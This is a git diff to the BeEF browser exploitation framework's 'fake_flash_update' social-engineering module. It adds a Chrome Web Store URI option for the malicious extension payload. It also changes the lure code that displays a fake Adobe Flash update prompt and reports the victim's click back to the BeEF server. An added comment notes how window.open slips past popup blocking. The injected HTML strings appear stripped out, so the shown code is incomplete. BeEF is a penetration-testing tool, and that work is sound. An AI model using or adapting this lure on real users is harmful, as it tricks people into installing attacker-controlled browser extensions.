diff --git a/modules/social_engineering/fake_flash_update/command.js b/modules/social_engineering/fake_flash_update/command.js
index 5facbda3a..0cc853ad6 100644
--- a/modules/social_engineering/fake_flash_update/command.js
+++ b/modules/social_engineering/fake_flash_update/command.js
@@ -10,13 +10,13 @@ beef.execute(function() {
var image = "<%== @image %>";
var payload_type = "<%== @payload %>";
var payload_root = "<%== @payload_root %>";
-
- var chrome_extension = "/demos/adobe_flash_update.crx";
+ var chrome_store_uri = "<%== @chrome_store_uri %>";
var firefox_extension = "/api/ipec/ff_extension";
var payload = "";
+
switch (payload_type) {
case "Chrome_Extension":
- payload = payload_root + chrome_extension;
+ payload = chrome_store_uri;
break;
case "Firefox_Extension":
payload = payload_root + firefox_extension;
@@ -32,7 +32,9 @@ beef.execute(function() {
div.setAttribute('style', 'position:absolute; top:30%; left:40%;');
div.setAttribute('align', 'center');
document.body.appendChild(div);
- div.innerHTML= '
';
+ // window.open is very useful when using data URI vectors and the IFrame/Object tag
+ // also, as the user is clicking on the link, the new tab opener is not blocked by the browser.
+ div.innerHTML= "
";
$j("#splash").click(function () {
$j(this).hide();
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'answer=user has accepted');
diff --git a/modules/social_engineering/fake_flash_update/module.rb b/modules/social_engineering/fake_flash_update/module.rb
index c1b4fd4b7..cbdfaf4ff 100644
--- a/modules/social_engineering/fake_flash_update/module.rb
+++ b/modules/social_engineering/fake_flash_update/module.rb
@@ -13,11 +13,11 @@ class Fake_flash_update < BeEF::Core::Command
return [
{'name' =>'image', 'description' =>'Location of image for the update prompt', 'ui_label'=>'Splash image', 'value' => image},
{'name' =>'payload_root', 'description' =>'BeEF (Payload) root path', 'ui_label'=>'BeEF (Payload) root path', 'value' => payload_root},
+ {'name' =>'chrome_store_uri', 'description' =>'Chrome WebStore Extension URI', 'ui_label'=>'Chrome WebStore Extension URI', 'value' => ""},
{ 'name' => 'payload', 'type' => 'combobox', 'ui_label' => 'Payload', 'store_type' => 'arraystore',
'store_fields' => ['payload'], 'store_data' => [['Chrome_Extension'],['Firefox_Extension']],
'valueField' => 'payload', 'displayField' => 'payload', 'mode' => 'local', 'autoWidth' => true
}
-
]
end